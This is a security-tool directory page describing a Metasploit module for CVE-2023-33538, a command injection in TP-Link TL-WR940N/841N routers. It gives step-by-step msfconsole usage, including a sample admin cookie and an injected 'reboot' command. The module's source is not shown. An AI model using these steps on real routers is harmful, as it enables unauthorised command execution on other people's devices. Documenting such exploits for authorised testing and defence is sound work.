Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mrowkoob/cve-2023-33538-msf
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubmrowkoob/cve-2023-33538-msf

CVE-2023-33538-msf

CVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework

View Repository
11461 year agoNot yet reviewed
Share

CVE-2023-33538 – TP-Link TL-WR940N/841N Command Injection (Metasploit module)

This Metasploit auxiliary module targets an authenticated command injection vulnerability in TP-Link TL-WR940N V2/V4 and TL-WR841N V8/V10 routers.
The issue lies in the vulnerable ssid1 parameter used in WlanNetworkRpm.htm, which allows injection of arbitrary shell commands.

When successful, it allows the attacker to execute arbitrary commands on the device.

More information about the CVE:
https://nvd.nist.gov/vuln/detail/CVE-2023-33538


How to run this module?

  1. Copy the .rb file into your Metasploit modules folder, for example:
cp tplink_ssid1_rce.rb/usr/share/metasploit-framework/modules/auxiliary/admin/http/
  1. Start Metasploit console:
msfconsole
  1. Search and use the module:
search tplink
use auxiliary/admin/http/tplink_ssid1_rce
  1. Set required options:
set RHOSTS 192.168.0.1
set RPORT 80
set AUTHCOOKIE Basic%20YWRtaW46YWRtaW4%3D
set SESSIONPATH /ABCD1234/
set CMD reboot
run

The module does not perform authentication. You must manually extract the Authorization cookie and session prefix from a successful login to the router's web interface.


References

  • https://nvd.nist.gov/vuln/detail/CVE-2023-33538
  • https://web.archive.org/web/20230609111043/https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md

Disclaimer

This module is intended for educational purposes only.
Do not use this code against devices or infrastructure you do not own or have explicit permission to test.


Issues

If you find bugs, or have ideas for improvements – feel free to open an issue or leave a comment.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    516
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    476
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    355
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    315
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    303
  • 6

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    285

Explore all tools

Browse our collection of tools

View all tools →